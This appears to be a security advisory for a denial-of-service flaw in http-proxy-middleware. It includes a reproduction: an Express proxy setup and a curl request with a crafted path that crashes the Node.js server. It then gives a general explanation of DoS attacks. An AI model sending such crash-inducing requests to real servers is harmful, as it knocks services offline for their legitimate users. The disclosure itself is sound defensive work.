Denial of Service (DoS) Affecting http-proxy-middleware package, versions <2.0.7>=3.0.0 <3.0.3

Affected versions of this package are vulnerable to Denial of Service (DoS) due to an UnhandledPromiseRejection error thrown by micromatch. An attacker could kill the Node.js process and crash the server by making requests to certain paths.

1. Run a server like this:

const express = require('express')
const { createProxyMiddleware } = require('http-proxy-middleware')

const frontend = express()
frontend.use(createProxyMiddleware({
  target: 'http://localhost:3031',
  pathFilter: '*'
}))
frontend.listen(3030)
const backend = express()
backend.use((req, res) => res.send('ok'))
backend.listen(3031)

2. curl 'localhost:3030//x@x'

Expected: Response with payload ok

Actual: Server crashes with error TypeError: Expected input to be a string (from micromatch)

On v1 and v2 of http-proxy-middleware, it's also possible to exclude pathFilter and cause the server to crash with TypeError: Cannot read properties of null (reading 'indexOf') (from matchSingleStringPath).

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

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